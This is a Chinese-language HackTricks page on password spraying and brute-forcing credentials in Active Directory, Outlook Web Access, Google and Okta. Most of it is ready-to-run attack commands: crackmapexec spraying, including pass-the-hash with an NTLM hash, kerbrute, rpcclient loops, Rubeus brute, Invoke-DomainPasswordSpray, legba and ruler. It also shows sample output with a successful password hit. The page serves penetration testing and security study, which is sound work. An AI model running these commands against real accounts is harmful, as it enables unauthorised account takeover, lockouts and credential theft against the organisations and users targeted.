hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

# 密码喷涂 / 暴力破解

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## **密码喷涂**

一旦你找到了几个**有效的用户名**，你可以尝试使用最**常见的密码**（记住环境中的密码策略）对每个发现的用户进行尝试。\
**默认情况下**，**最小** **密码** **长度**是**7**。

常见用户名列表也可能有用：[https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)

请注意，如果你尝试了多个错误的密码，**可能会锁定一些账户**（默认情况下超过10次）。

### 获取密码策略

如果你有一些用户凭证或作为域用户的shell，你可以**使用以下方法获取密码策略**：
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview
```
### 从Linux（或全部）进行利用

* 使用 **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
* 使用 [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
* [**spray**](https://github.com/Greenwolf/Spray) _**(你可以指定尝试次数以避免账户锁定):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
* 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 有时不推荐，可能无法工作
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
* 使用 **Metasploit** 的 `scanner/smb/smb_login` 模块：

![](<../../.gitbook/assets/image (132) (1).png>)

* 使用 **rpcclient**：
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### 从Windows

* 使用带有暴力模块的[Rubeus](https://github.com/Zer1t0/Rubeus)版本：
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
* 使用 [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)（它可以默认从域生成用户，并且会从域获取密码策略，并根据策略限制尝试次数）：
```powershell
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
* 使用 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
## 暴力破解

{% code overflow="wrap" %}
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
## Outlook Web Access

有多种工具可以进行**密码喷射Outlook**。

* 使用 [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
* 使用 [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
* 使用 [Ruler](https://github.com/sensepost/ruler)（可靠！）
* 使用 [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)（Powershell）
* 使用 [MailSniper](https://github.com/dafthack/MailSniper)（Powershell）

要使用这些工具中的任何一个，你需要一个用户列表和一个密码/一小列密码来喷射。
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
```
## Google

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)

## Okta

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)

## 参考资料

* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
* www.blackhillsinfosec.com/?p=5296
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)

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